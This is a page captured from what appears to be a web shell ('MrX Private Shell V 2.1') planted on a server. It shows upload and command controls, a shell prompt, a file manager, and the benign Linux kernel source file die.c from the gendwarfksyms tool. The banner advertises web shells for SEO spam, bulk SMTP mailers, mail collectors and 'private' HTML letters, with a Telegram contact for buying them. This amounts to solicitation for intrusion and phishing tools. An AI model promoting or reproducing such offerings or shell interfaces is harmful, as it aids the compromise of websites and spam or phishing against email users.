__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
// SPDX-License-Identifier: GPL-2.0
/*
 * Copyright (C) 2024 Google LLC
 */

#include <string.h>
#include "gendwarfksyms.h"

#define DIE_HASH_BITS 15

/* {die->addr, state} -> struct die * */
static HASHTABLE_DEFINE(die_map, 1 << DIE_HASH_BITS);

static unsigned int map_hits;
static unsigned int map_misses;

static inline unsigned int die_hash(uintptr_t addr, enum die_state state)
{
	return hash_32(addr_hash(addr) ^ (unsigned int)state);
}

static void init_die(struct die *cd)
{
	cd->state = DIE_INCOMPLETE;
	cd->mapped = false;
	cd->fqn = NULL;
	cd->tag = -1;
	cd->addr = 0;
	INIT_LIST_HEAD(&cd->fragments);
}

static struct die *create_die(Dwarf_Die *die, enum die_state state)
{
	struct die *cd;

	cd = xmalloc(sizeof(struct die));
	init_die(cd);
	cd->addr = (uintptr_t)die->addr;

	hash_add(die_map, &cd->hash, die_hash(cd->addr, state));
	return cd;
}

int __die_map_get(uintptr_t addr, enum die_state state, struct die **res)
{
	struct die *cd;

	hash_for_each_possible(die_map, cd, hash, die_hash(addr, state)) {
		if (cd->addr == addr && cd->state == state) {
			*res = cd;
			return 0;
		}
	}

	return -1;
}

struct die *die_map_get(Dwarf_Die *die, enum die_state state)
{
	struct die *cd;

	if (__die_map_get((uintptr_t)die->addr, state, &cd) == 0) {
		map_hits++;
		return cd;
	}

	map_misses++;
	return create_die(die, state);
}

static void reset_die(struct die *cd)
{
	struct die_fragment *tmp;
	struct die_fragment *df;

	list_for_each_entry_safe(df, tmp, &cd->fragments, list) {
		if (df->type == FRAGMENT_STRING)
			free(df->data.str);
		free(df);
	}

	if (cd->fqn && *cd->fqn)
		free(cd->fqn);
	init_die(cd);
}

void die_map_for_each(die_map_callback_t func, void *arg)
{
	struct hlist_node *tmp;
	struct die *cd;

	hash_for_each_safe(die_map, cd, tmp, hash) {
		func(cd, arg);
	}
}

void die_map_free(void)
{
	struct hlist_node *tmp;
	unsigned int stats[DIE_LAST + 1];
	struct die *cd;
	int i;

	memset(stats, 0, sizeof(stats));

	hash_for_each_safe(die_map, cd, tmp, hash) {
		stats[cd->state]++;
		reset_die(cd);
		free(cd);
	}
	hash_init(die_map);

	if (map_hits + map_misses > 0)
		debug("hits %u, misses %u (hit rate %.02f%%)", map_hits,
		      map_misses,
		      (100.0f * map_hits) / (map_hits + map_misses));

	for (i = 0; i <= DIE_LAST; i++)
		debug("%s: %u entries", die_state_name(i), stats[i]);
}

static struct die_fragment *append_item(struct die *cd)
{
	struct die_fragment *df;

	df = xmalloc(sizeof(struct die_fragment));
	df->type = FRAGMENT_EMPTY;
	list_add_tail(&df->list, &cd->fragments);
	return df;
}

void die_map_add_string(struct die *cd, const char *str)
{
	struct die_fragment *df;

	if (!cd)
		return;

	df = append_item(cd);
	df->data.str = xstrdup(str);
	df->type = FRAGMENT_STRING;
}

void die_map_add_linebreak(struct die *cd, int linebreak)
{
	struct die_fragment *df;

	if (!cd)
		return;

	df = append_item(cd);
	df->data.linebreak = linebreak;
	df->type = FRAGMENT_LINEBREAK;
}

void die_map_add_die(struct die *cd, struct die *child)
{
	struct die_fragment *df;

	if (!cd)
		return;

	df = append_item(cd);
	df->data.addr = child->addr;
	df->type = FRAGMENT_DIE;
}

Filemanager

Name Type Size Permission Actions
examples Folder 0755
Makefile File 333 B 0644
cache.c File 869 B 0644
cache.o File 2.12 KB 0644
die.c File 3.06 KB 0644
die.o File 5.45 KB 0644
dwarf.c File 28.57 KB 0644
dwarf.o File 38.48 KB 0644
gendwarfksyms File 64.47 KB 0755
gendwarfksyms.c File 4.06 KB 0644
gendwarfksyms.h File 7.06 KB 0644
gendwarfksyms.o File 9.23 KB 0644
kabi.c File 7.04 KB 0644
kabi.o File 10.2 KB 0644
symbols.c File 7.63 KB 0644
symbols.o File 12.09 KB 0644
types.c File 10.43 KB 0644
types.o File 14.15 KB 0644
Filemanager